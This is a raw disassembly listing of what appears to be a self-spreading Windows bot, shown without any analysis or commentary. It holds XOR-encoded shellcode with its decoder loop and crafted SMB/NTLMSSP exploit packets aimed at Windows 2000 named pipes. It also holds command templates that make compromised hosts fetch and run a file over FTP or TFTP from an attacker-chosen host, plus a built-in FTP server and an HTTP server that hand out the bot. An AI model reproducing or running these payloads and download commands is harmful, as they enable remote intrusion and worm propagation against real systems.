add eax, 7Ch
mov ebp, [eax+3Ch]
loc_43F1A6: ; CODE XREF: sub_43F182+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43F1BA
sub_43F182 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43F1AD proc near ; CODE XREF: sub_43F182:loc_43F1BAp
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43F1AD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43F182
loc_43F1BA: ; CODE XREF: sub_43F182+29j
call sub_43F1AD
loc_43F1BF: ; DATA XREF: sub_40B346+1Bo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_43F182
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_43F1C4: ; DATA XREF: sub_40B3A1+E8o
jmp short near ptr dword_43F1CC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_43F1CC dd 0 ; CODE XREF: ___:loc_43F1C4j
aCccc db 'CCCC',0 ; DATA XREF: sub_40B3A1+153o
align 4
dword_43F1D8 dd 3 ; DATA XREF: sub_40B3A1+246o
dword_43F1DC dd 0A1h ; DATA XREF: sub_40B3A1+29Fo
dword_43F1E0 dd 30h ; DATA XREF: sub_40B3A1+2CAo
dword_43F1E4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40B3A1+2F5o
dword_43F1F0 dd 60h ; DATA XREF: sub_40B3A1+320o
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040BBCFo
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_43F258 dd 1000005h, 10h, 418h, 0 ; DATA XREF: ___:0040C738o
dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0
dd 7E4h, 53004Fh, 3Ah
off_43F29C dd offset dword_50005C ; DATA XREF: ___:0040C75Co
dd offset word_490052
dd offset dword_40FFB0+0A6h
dd offset dword_450054
dd offset dword_5C0024
dd 0
dword_43F2B4 dd 5, 10h, 418h, 0 ; DATA XREF: ___:0040C767o
dd 400h, 90000h, 0
dword_43F2D0 dd 2000005h, 10h, 404h, 0 ; DATA XREF: ___:0040C795o
dd 3ECh, 90000h, 0
; ---------------------------------------------------------------------------
loc_43F2EC: ; DATA XREF: ___:0040C7A8o
jmp short loc_43F2F6
; ---------------------------------------------------------------------------
align 10h
dd offset loc_4014E9
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_43F2F6: ; CODE XREF: ___:loc_43F2ECj
nop
nop
nop
nop
nop
nop
jmp short loc_43F306
; ---------------------------------------------------------------------------
align 10h
dd offset loc_4014E9
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_43F306: ; CODE XREF: ___:0043F2FCj
jmp short loc_43F322
; ---------------------------------------------------------------------------
dd 6F684041h, 6F657375h, 62616466h, 41487375h, 909006EBh
dd 100124Dh
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_43F322: ; CODE XREF: ___:loc_43F306j
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dw 0
dword_43F328 dd 0E983C929h, 0D9EED9B0h, 5BF42474h ; DATA XREF: ___:0040C7DCo
; ---------------------------------------------------------------------------
loc_43F334: ; CODE XREF: ___:0043F33Ej
xor dword ptr [ebx+13h], 3704F519h
sub ebx, 0FFFFFFFCh
loop loc_43F334
; ---------------------------------------------------------------------------
dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh, 32787E25h
dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h, 0AEC4C4F7h
dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h, 688F106Ch
dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h
dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h, 0B96CAB11h
dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h
dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch
dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah, 0E7FBA65Ah
db 7Fh, 9Dh
word_43F3E2 dw 551Ah ; DATA XREF: ___:0040C7E2w
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 0
dword_43F484 dd 5C5Ch ; DATA XREF: sub_40C33C+1Eo
dword_43F488 dd 5Ch ; DATA XREF: sub_40C33C+32o
dword_43F48C dd 696D6461h, 246Eh ; DATA XREF: sub_40C33C+3Do
a8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40C52A+Co
align 4
aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: ___:0040C64Eo
align 4
aB: ; DATA XREF: sub_40C89D+ADo
unicode 0, <>
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_43F530 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40C89D+CEo
dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_43F58C dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40C89D+E8o
dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
align 10h
dword_43F640 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40C89D+102o
dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
jno short loc_43F73E
mov ecx, 484962Fh
retf 0EE65h
; ---------------------------------------------------------------------------
dw 0DAFBh
db 0CEh ; Î
db 9Eh, 0AFh, 28h
db 8Eh ; Ž
db 0EEh, 7Ah, 54h
db 69h ; i
dd offset loc_572883+2
dd offset byte_52004F
dd offset byte_53004B
dd offset dword_40FFB0+0A4h
dd offset dword_490054
dd offset loc_4E004E+1
db 31h, 0, 57h
aIndows20002195 db 'indows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 4
dword_43F738 dd 3A000000h ; DATA XREF: sub_40C89D+119o
db 0FFh, 53h
; ---------------------------------------------------------------------------
loc_43F73E: ; CODE XREF: ___:0043F6E4j
dec ebp
inc edx
jnz short $+2
; ---------------------------------------------------------------------------
dw 0
dd 20011800h, 3 dup(0)
dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_43F778 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+130o
dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0
dword_43F7DC dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+14Ao
dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_43F874 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+164o
; sub_40C89D+1DAo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 6B001F00h, 14C658Ch, 0
dd 1000000h, 0
dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h
dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h
dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h
dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh
dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h
dword_43F9D0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+17Eo
; sub_40C89D+1F4o
dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h
dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h
dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
dword_43FB2C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+198o
; sub_40C89D+20Eo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h
dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h
dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
dd 0
dd 1000000h, 0
dd 0AD91A700h, 0
dword_43FC88 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+1AFo
; sub_40C89D+225o
dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 0
unk_43FCF4 db 81h ; ; DATA XREF: sub_40C89D+283o
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_43FD40 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_40C89D+2A4o
dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 0
dword_43FD9C dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40C89D+2BEo
dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
align 10h
dword_43FE50 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_40C89D+2D8o
dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 0A3h
db 9Eh ; ž
db 5Eh, 9Bh, 4
db 57h ; W
db 0E3h, 15h, 0B7h
db 6Fh ; o
db 44h, 0E9h, 1Eh
db 49h ; I
db 0FEh, 0C0h, 0BEh
db 0E9h ; é
db 0A6h, 0A7h, 7Fh
aPmiw db 'pmiW',0
dd offset byte_52004F
dd offset byte_53004B
dd offset dword_40FFB0+0A4h
dd offset dword_490054
dd offset loc_4E004E+1
db 31h, 0, 57h
aIndows200021_0 db 'indows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 4
dword_43FF48 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+2EFo
dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
db 0
db 2 dup(0), 40h
db 0
db 2 dup(0), 25h
db 0
db 2 dup(0), 57h
aIndows200021_1 db 'indows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 10h
dword_43FFB0 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+306o
dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_43FFF0 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+31Do
dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 0
dword_440054 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+337o
dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_4400EC dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+351o
; sub_40C89D+3E0o
dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 0F2001F00h, 1F2207Ch, 0
dd 1000000h, 0
dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h
dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh
dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh
dword_440248 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+36Bo
; sub_40C89D+3FAo
dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h
dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h
dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h
dword_4403A4 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+385o
; sub_40C89D+414o
dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh
dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh
dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h
dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dword_440500 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+39Fo
; sub_40C89D+42Eo
dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h
dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch
dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h
dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh
dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h
dword_44065C dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_40C89D+3B9o
; sub_40C89D+448o
dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch
dd 100200h, 800000h, 0
dd 680000h, 0
dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
dd 0BE895Bh, 20000h, 0
dd 20000h, 2EB0000h, 760000h, 2 dup(0)
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD34+95o
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_40CD34+BEo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aS_19 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD34+102o
align 4
a_a_a_a_S_e_x_p db '.a.a.a. (%s.e.x.p) .»». trying to root %s',0
; DATA XREF: sub_40CE96+5Do
align 10h
aCmd_exe db 'cmd.exe',0
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 10h
aSS_8 db '%s %s',0
align 4
aUser_3 db 'USER',0
align 10h
a331PasswordReq db '331 Password required',0Ah,0
align 4
aPass_0 db 'PASS',0
align 10h
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aSyst db 'SYST',0
align 10h
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 10h
aRest db 'REST',0
align 4
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
dd offset dword_445750
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 10h
aType db 'TYPE',0
align 4
aA_0:
unicode 0, <A>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aType_0 db 'TYPE',0
align 4
aI_0:
unicode 0, <I>,0
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aPasv db 'PASV',0
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aList_0 db 'LIST',0
align 4
a226TransferCom db '226 Transfer complete',0Ah,0
align 4
aPort db 'PORT',0
align 4
aS_33 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aXX db '%x%x',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aRetr db 'RETR',0
align 10h
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aFtpdStartingTr db '-ftpd- starting transfer to %s',0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0
aFtpdSentFileTo db '-ftpd- sent file to %s',0
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
align 10h
aQuit_1 db 'QUIT',0
align 4
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0
aRb db 'rb',0 ; DATA XREF: ___:0040D881o
align 4
aGet db 'GET ',0 ; DATA XREF: sub_40D8F7+26Fo
align 10h
asc_440A70: ; DATA XREF: sub_40D8F7+292o
unicode 0, < >,0
asc_440A74: ; DATA XREF: sub_40D8F7+297o
unicode 0, < >,0
aGet_0 db 'GET ',0 ; DATA XREF: sub_40D8F7+2A2o
align 10h
asc_440A80 db 0Dh,0Ah,0 ; DATA XREF: sub_40D8F7+2D5o
align 4
unk_440A84 db 2Dh ; - ; DATA XREF: sub_40D8F7+3FEo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
aTextHtml db 'text/html',0 ; DATA XREF: sub_40DD58+5Eo
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40DD58:loc_40DDBDo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40DD58+83o
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40DD58+97o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DD58+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DD58+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aS_20 db '\%s',0 ; DATA XREF: sub_40DEDA+2Fo
aS_21 db '%s',0 ; DATA XREF: sub_40DEDA+3Ao
align 4
aSS_1 db '%s%s',0 ; DATA XREF: sub_40DEDA+EAo
align 10h
asc_440CD0: ; DATA XREF: sub_40DEDA+FBo
dw 0Ah
unicode 0, <>,0
asc_440CD4: ; DATA XREF: sub_40DEDA+157o
unicode 0, <*>,0
unk_440CD8 db 2Dh ; - ; DATA XREF: sub_40DEDA+20Bo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
unk_440D0C db 2Dh ; - ; DATA XREF: sub_40DEDA+28Fo
